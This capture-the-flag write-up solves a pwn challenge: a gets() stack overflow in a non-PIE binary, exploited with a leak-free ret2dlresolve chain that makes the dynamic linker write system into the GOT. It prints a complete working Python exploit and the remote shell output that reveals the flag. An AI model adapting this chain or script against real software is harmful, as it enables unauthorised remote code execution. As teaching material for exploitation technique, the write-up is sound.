Potal Gate
Something ancient guards the gate to another world, and it won’t let anyone through without the right password. Can you talk your way past it… or break it open?
Connections
- 34.87.191.188:9001
Attachments
Recon
A password gate on a TCP port, and a glibc 2.39 that the challenge ships together with its own loader. The service prints a banner, asks for one line, echoes it back, and hangs up.
Talking to the gate first
We connected before touching the binary, and let the service show itself.
$ nc 34.87.191.188 9001
Welcome to the Teleportation Gate!
Enter password to open the gate:
hello
Password 'hello' is incorrect!
One guess per connection, then the server closes it. Anything multi-round has to find a way to keep the same process alive.
Next we poked it. Format specifiers came back untouched, so the echo is not a format-string bug; our input reaches printf as the %s argument of a fixed format string, never as the format itself.
$ printf '%s\n' '%p %p %p %lx %s' | nc 34.87.191.188 9001
Welcome to the Teleportation Gate!
Enter password to open the gate:
Password '%p %p %p %lx %s' is incorrect!
A 100-byte line was echoed back in full, and only after the echo did the connection die. Nothing truncates the read, and the crash happens on the return path, not in the input handling.
$ python3 -c "print('A'*100)" | nc 34.87.191.188 9001
Welcome to the Teleportation Gate!
Enter password to open the gate:
Password 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' is incorrect!
The handout and the bug
The zip ships the binary plus the exact libc and loader the remote runs, so every libc offset is knowable in advance.
$ unzip -l challenge.zip
0 11-27-2026 09:33 challenge/
16136 11-26-2026 06:17 challenge/vuln
236616 11-26-2026 06:05 challenge/ld-linux-x86-64.so.2
2125328 11-26-2026 06:05 challenge/libc.so.6
Protections, from the unzipped directory:
$ pwn checksec vuln
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Partial RELRO leaves the GOT (the Global Offset Table, where resolved function addresses live) writable and keeps lazy binding on, no canary guards the stack, and with no PIE everything sits at a fixed address. Here is the whole bug, the disassembly trimmed with our comments:
$ objdump -d --start-address=0x401196 --stop-address=0x4011e0 -M intel vuln
0000000000401196 <portal_gate>:
401196: endbr64
40119a: push rbp
40119b: mov rbp, rsp
40119e: sub rsp, 0x30
4011a2: lea rax, [rip + 0xe5f] # 0x402008 "Enter password to open the gate:"
4011a9: mov rdi, rax
4011ac: call 0x401070 # puts
4011b1: lea rax, [rbp - 0x30]
4011b5: mov rdi, rax
4011bd: call 0x401090 # gets(buf) <-- unbounded
4011c2: lea rax, [rbp - 0x30]
4011c6: mov rsi, rax
4011d8: call 0x401080 # printf("Password '%s' is incorrect!\n", buf)
4011dd: nop
4011de: leave
4011df: ret
gets reads into a 48-byte buffer at rbp-0x30, so the saved RBP is at offset 48 and the saved return address at offset 56. We confirmed that offset live, on the remote, by overwriting the return address with portal_gate itself:
$ python3 -c "import sys; sys.stdout.buffer.write(b'A'*48 + (0xdeadbeef).to_bytes(8,'little') + (0x401196).to_bytes(8,'little') + b'\n' + b'second\n')" | nc 34.87.191.188 9001
Welcome to the Teleportation Gate!
Enter password to open the gate:
Password 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ�' is incorrect!
Enter password to open the gate:
Password 'second' is incorrect!
The garbage after the 48 A’s is the start of our fake saved RBP, 0xdeadbeef, and the echo stops there because the next byte of that pointer is a NUL and %s printing stops at NUL. The prompt that follows is the real finding, since it proves the return address at offset 56 was consumed and control landed back at the top of portal_gate, which reads and echoes a second line before dying on leftover stack garbage.
One more constraint comes from main, which calls setvbuf on both streams with unbuffered mode. The FILE* pointers themselves are copy-relocated into .bss:
$ objdump -R vuln | grep COPY
0000000000404030 R_X86_64_COPY stdout
0000000000404040 R_X86_64_COPY stdin
So .bss is not free scratch space. One byte written over [0x404030, 0x404048) corrupts a FILE* and the very next puts or gets crashes. And because stdout is unbuffered, any oversized echo really does ship every byte over the socket.
The gadget census
With the offset known we looked for gadgets, and the census came back nearly empty.
$ ROPgadget --binary vuln | grep -E ': pop (rdi|rsi|rdx|rax|rbp)'
0x000000000040117d : pop rbp ; ret
No pop rdi, no pop rsi, no pop rdx, so a classic ret2libc chain cannot set its own arguments. The only argument-touching gadget in the binary is this one (the other four hits are the same sequence with a branch prefix in front):
$ ROPgadget --binary vuln | grep 'mov edi'
0x0000000000401105 : je 0x401110 ; mov edi, 0x404030 ; jmp rax
0x0000000000401147 : je 0x401150 ; mov edi, 0x404030 ; jmp rax
0x0000000000401107 : mov edi, 0x404030 ; jmp rax
0x0000000000401103 : test eax, eax ; je 0x401110 ; mov edi, 0x404030 ; jmp rax
0x0000000000401145 : test eax, eax ; je 0x401150 ; mov edi, 0x404030 ; jmp rax
0x401107 forces rdi to 0x404030 (the relocated stdout pointer) and jumps to whatever rax holds. Right after the echo, rax is printf’s return value, the number of characters printed, which is 26 + strlen(buf) for the "Password '" and "' is incorrect!\n" wrapper around our string. Making rax equal gets@plt (0x401090) would mean sending a 4,198,518-byte line, echoed byte by byte over an unbuffered socket. A libc leak does not rescue this gadget either, since rax can only ever hold 26 + strlen, never a libc address. That kills the usual leak-then-ret2libc plan before it starts, and points at the one mechanism that never needs rax: the dynamic linker’s own resolver, reached through ret2dlresolve (forging the relocation structures that lazy binding walks, so the resolver resolves a symbol of our choice).
Exploitation
The re-entry primitive
portal_gate provides the re-entry primitive itself, and its two entry points behave differently. Returning to 0x401196 runs the full prologue, so every round is a fresh 56-byte overflow on the real stack, and bytes 48 to 56 of each line become the next popped RBP. That is the unlimited-round loop we already confirmed with the nc probe.
The second entry point at 0x40119e lands on the sub rsp,0x30 and skips the prologue, so the RBP popped by the previous round’s epilogue is kept. gets(rbp-0x30) then writes a whole attacker-controlled line to an address of our choosing in .bss, while rsp stays on the real stack, which keeps the prompt, gets and the echo working for that round. An arbitrary .bss write, one line at a time.
Our first attempts failed on both entry points, each failure pinning down one rule. Layouts that re-entered at 0x401196 while believing they had written continuation slots at 0x404040 had written nothing there, because the full prologue resets RBP to the real stack, and those chains crashed with RBP and RIP both 0. And any layout whose write window touched the copy-relocated FILE* pointers at 0x404030/0x404040 destroyed stdio state and crashed on the next call. Every later layout starts writing at 0x404048 or above.
Why the leak-based chain kept dying
With a shipped libc, the natural plan is to leak GOT[gets] and ret2libc. Returning to 0x4011c2 with RBP = 0x404040 makes the echo print from 0x404010, which holds gets’s resolved libc address, and the shipped libc then supplies system and a pop rdi for the final round. We built exactly that. The leak worked every single time; the chain never once survived past it. From the run log of the leak exploit:
[*] leak bytes (6): 80e0a0c1837f
[+] gets = 0x7f83c1a0e080
[+] libc base = 0x7f83c1987000
[!] attempt 0: EOFError ; retrying
[*] leak bytes (6): 8070f8164a7f
[+] libc base = 0x7f4a16f00000
[!] attempt 2: EOFError ; retrying
[ERROR] all attempts exhausted
Every attempt leaked a libc base and every attempt died immediately after; one round even came back with a one-byte leak, which is what ASLR truncating our printed pointer looks like. We measured the failure with three probes. One bisected how long a line a .bss round can write before the flow dies. A second moved the leak round to a high rsp and added a follow-up printf round to dump the GOT region and see which slots survived. A third swept fifteen candidate frame addresses looking for one placement where the leak round’s continuation slots would live. All three converged on the same behavior. The echo goes through vprintf, and the bisect put its stack frame at roughly 0x2400 bytes. Whenever rsp sits anywhere in .bss, a frame that deep reaches below 0x404000 into read-only pages; we reproduced the segfault with rsp = 0x404080 and again with rsp = 0x404fc0.
That makes the leak route dead in a way no layout can fix. A leak round entered with RBP = 0x404040 always ends its epilogue by popping *(0x404040), which is stdin’s FILE*, into RBP, landing the process in a .bss-rsp regime where no echo can ever run again. The leak succeeds and the process dies in the same breath. And even with a libc address in hand, the binary still offers no way to load system into rax, so the one argument gadget stays unusable. The leak-free resolver route is the only branch left.
The call-free escape gadget
A 0x40119e round with a .bss RBP ends with leave; ret, which leaves rsp inside .bss. There, any gadget that calls anything eventually needs stdio or an echo and dies, so the only usable glue is call-free. The binary happens to contain exactly the right one at 0x4011dd, the nop in front of portal_gate’s epilogue:
4011dd: nop
4011de: leave
4011df: ret
Each run does rsp = rbp; pop rbp; ret, which treats RBP as a pointer to the next fake frame. In the final chain the write round’s own leave; ret is the first hop, from its frame to the escape gadget, and the escape gadget is the second, from the low slot pair we control (0x404078/0x404080) up to the high pair at 0x404fb0/0x404fb8, ending with rsp = 0x404fc0, all without a single call. The height matters because we measured the resolver’s frame at 0x450 to 0xE40 bytes deep (worst case, with xsave areas) and system’s at about 0x100; from 0x404fc0 both stay inside the writable page.
Turning the resolver into a GOT writer
Partial RELRO with lazy binding keeps the resolver plumbing alive. PLT0, at 0x401020, pushes the link_map pointer stored at 0x403ff0 and jumps through 0x403ff8 into the resolver:
$ objdump -d --start-address=0x401020 --stop-address=0x401028 -M intel vuln
0000000000401020 <.plt>:
401020: push qword ptr [rip + 0x2fca] # 0x403ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
401026: jmp qword ptr [rip + 0x2fcc] # 0x403ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
Returning into PLT0 makes the resolver read the relocation index from the stack slot at rsp+8, which is ours to fill. A large index walks past the four real .rela.plt entries into memory we control, and the whole resolution then follows our structures:
reloc = &jmprel[i*24]; // our fake Elf64_Rela in .bss
sym = &dynsym[ELF64_R_SYM(reloc->r_info)]; // our fake Elf64_Sym in .bss
name = strtab + sym->st_name; // "system", written into .bss
value = lookup(name);
*(reloc->r_offset) = value; // the resolver WRITES the GOT
jmp value; // argument registers restored
The section addresses the builder needs come straight from the ELF (.rela.plt has 0x60 bytes, four real relocation entries, and our index walks far past them):
$ objdump -h vuln | grep -E 'rela\.plt|dynsym|dynstr|gnu\.version'
6 .dynsym 000000d8 00000000004003d8
7 .dynstr 00000069 00000000004004b0
8 .gnu.version 00000012 000000000040051a
9 .gnu.version_r 00000030 0000000000400530
11 .rela.plt 00000060 00000000004005c0
Two glibc 2.39 details decide whether this works. First, the binary has .gnu.version, so _dl_fixup reads versym[j] & 0x7fff and uses it to pick a version record; garbage there fails the lookup. We placed the fake Elf64_Sym so that this read lands on a zero halfword in the file, which gives an unversioned lookup that finds libc’s system normally, and the builder searches the file bytes for exactly that placement. Second, elf_machine_fixup_plt writes the resolved value to r_offset, and with no PIE the load bias is 0, so pointing r_offset at 0x404010 (GOT[gets]) makes the resolver itself write system into gets’s GOT slot. That is the arbitrary GOT write this binary otherwise refuses to hand over, achieved without a leak anywhere.
The resolver then jumps to system with the argument registers restored from PLT0 entry, where rdi holds stack garbage. That first call is sacrificial; locally it printed sh: 1: ú¿wÿÿ: not found and returned normally. RBP survives both _dl_fixup and do_system because it is callee-saved, and that is what lets the chain continue afterward.
The final chain
The write round enters at 0x40119e with RBP = 0x404078, so its buffer starts at 0x404048, right past the FILE* window. One 3976-byte line paints the entire .bss image, and the first overflow selects that round. In the script below, R0 is that first overflow line and LINE1 is the write round’s 3976-byte line; the payload construction is unchanged from what we ran, first against the shipped loader locally and then against the remote, with the connection handling condensed to the essentials:
#!/usr/bin/env python3
"""Potal Gate: leak-free ret2dlresolve via fake frames in .bss."""
import struct, sys, socket, subprocess, time
p64 = lambda x: struct.pack('<Q', x & (2**64 - 1))
u16 = lambda b: struct.unpack('<H', b)[0]
blob = open('challenge/vuln', 'rb').read()
file_read = lambda a, n: blob[a - 0x400000: a - 0x400000 + n] # non-PIE, file==memory
JMPREL, SYMTAB, STRTAB, VERSYM = 0x4005c0, 0x4003d8, 0x4004b0, 0x40051a
BUF, LINE_END = 0x404048, 0x404fd0 # L1 buffer .. where gets puts the NUL
FAKE_RELA = 0x404130
assert (FAKE_RELA - JMPREL) % 24 == 0
i = (FAKE_RELA - JMPREL) // 24 # 634, the fake reloc index
FAKE_SYM = None
for j in range(640, 830): # need versym[j] == 0 in the file
fs = SYMTAB + 24 * j
if BUF <= fs < LINE_END and u16(file_read(VERSYM + 2 * j, 2)) == 0:
FAKE_SYM = fs; break
j = (FAKE_SYM - SYMTAB) // 24
print(f'[*] fakeRela={hex(FAKE_RELA)} i={i} fakeSym={hex(FAKE_SYM)} j={j}')
PORTAL2, GETS_G, ESCAPE, PLT0 = 0x40119e, 0x4011b1, 0x4011dd, 0x401020
RBP3, CMD, NAME = 0x404100, 0x4040d0, 0x404100
st_name = NAME - STRTAB
line = bytearray(LINE_END - BUF)
def put(addr, data):
line[addr - BUF: addr - BUF + len(data)] = data
put(0x404050, struct.pack('<IBBHIQQ', st_name, 0x12, 0, 0, 0, 0, 0)) # fake Elf64_Sym
put(0x404078, p64(0x404fb0)) # write-round tail: next rbp
put(0x404080, p64(ESCAPE)) # write-round tail: escape gadget
put(CMD, b'sh\x00') # argument for the final system()
put(NAME, b'system\x00') # fake symbol name
put(FAKE_RELA, p64(0x404010) + p64((j << 32) | 7) + p64(0)) # fake Rela, r_offset = GOT[gets]
put(0x404fb0, p64(RBP3)) # escape rbp -> final round rbp (rdi = 0x4040d0)
put(0x404fb8, p64(PLT0)) # escape rip -> lazy resolver
put(0x404fc0, p64(i)) # fake relocation index
put(0x404fc8, p64(GETS_G)) # where the sacrificial system() returns
for probe in (line, p64(i), p64(j), p64(st_name)):
assert b'\n' not in probe, 'newline byte in payload!'
LINE1 = bytes(line)
R0 = b'A' * 48 + p64(0x404078) + p64(PORTAL2) + b'\n'
def start(mode):
if mode == 'local':
return subprocess.Popen(
['./challenge/ld-linux-x86-64.so.2', '--library-path', 'challenge', 'challenge/vuln'],
stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
class SockIO:
def __init__(self, s): self.s = s
def send(self, b): self.s.sendall(b)
def recv(self, timeout=3):
self.s.settimeout(timeout)
return self.s.recv(65536)
def close(self): self.s.close()
return SockIO(socket.create_connection(('34.87.191.188', 9001), timeout=15))
def recv_until(p, marker, timeout=8):
buf = b''; end = time.time() + timeout
while time.time() < end:
try:
p.stdout.fileno()
import os, select
r, _, _ = select.select([p.stdout.fileno()], [], [], 0.2)
if not r: continue
c = os.read(p.stdout.fileno(), 65536)
except AttributeError: # socket mode
try: c = p.recv(timeout=0.2)
except Exception: continue
if not c: return buf, True
buf += c
if marker in buf: return buf, False
return buf, False
mode = sys.argv[1] if len(sys.argv) > 1 else 'remote'
p = start(mode)
def io(b):
try: p.stdin.write(b); p.stdin.flush()
except AttributeError: p.send(b)
recv_until(p, b'open the gate:')
io(R0); out, closed = recv_until(p, b'incorrect!')
print('[R0] echo:', b'incorrect' in out, '| closed:', closed)
io(LINE1 + b'\n'); out, closed = recv_until(p, b'incorrect!')
print('[L1] echo:', b'incorrect' in out, '| closed:', closed)
time.sleep(1)
io(b'echo SHELL_OK; ls -la; cat flag.txt\n')
time.sleep(2)
out, _ = recv_until(p, b'incorrect!', timeout=6) # system("sh") swallows this line
out2, _ = recv_until(p, b'}', timeout=8)
print('OUTPUT:')
print((out + out2).decode('latin1'))
p.close() if hasattr(p, 'close') else p.kill()
Execution after the write round’s echo, step by step against the layout above:
- The write round’s epilogue does
leave(rsp = 0x404078), pops RBP = 0x404fb0 and returns into the escape gadget at 0x4011dd, with rsp now at 0x404088. - The escape gadget does
rsp = rbp(now 0x404fb0), pops RBP = 0x404100 and returns into PLT0 with rsp = 0x404fc0. - PLT0 pushes the link_map; the resolver reads index 634 from
*(0x404fc0), walks our fake Rela and Sym in .bss, resolvessystem, writes it intoGOT[gets]at 0x404010, and jumps tosystem(garbage), which fails harmlessly and returns. - The return address
*(0x404fc8)= 0x4011b1 lands back insideportal_gateat the gets setup, with RBP = 0x404100 intact. Therelea rax,[rbp-0x30]pointsrdiat 0x4040d0, which holds"sh", and thecallinto gets@plt jumps throughGOT[gets], which now holdssystem. The next line we send is read as a command, andsystem("sh")gives a shell reading from our socket.
Flag capture
We verified the chain locally first, with the provided loader and libc and a dummy flag file, so the remote would only ever see a known-good payload. The sacrificial system(garbage) call is visible right before the shell output.
$ python3 exploit.py local
[*] fakeRela=0x404130 i=634 fakeSym=0x404050 j=645
[R0] echo: True | closed: False
[L1] echo: True | closed: False
OUTPUT:
sh: 1: ú¿wÿÿ: not found
SHELL_OK
total 20
drwxr-xr-x 1 root root 4096 Nov 28 20:27 .
drwxr-xr-x 2 root root 4096 Nov 28 20:27 challenge
-rw-r--r-- 1 root root 21 Nov 28 20:27 flag.txt
FAKE_FLAG_LOCAL_TEST
Then the remote, same script, same two lines:
$ python3 exploit.py remote
[*] fakeRela=0x404130 i=634 fakeSym=0x404050 j=645
[R0] echo: True | closed: False
[L1] echo: True | closed: False
OUTPUT:
SHELL_OK
total 2340
-r--r--r-- 1 root ctf 33 Nov 26 05:05 flag.txt
-rwxrwxr-x 1 root root 236616 Nov 26 05:05 ld-linux-x86-64.so.2
-rw-rw-r-x 1 root root 2125328 Nov 26 05:05 libc.so.6
-rwxr-xr-x 1 root root 16136 Nov 26 05:17 vuln
NVR{Re72LibC_1s_n0t_s0_E4syyyyy}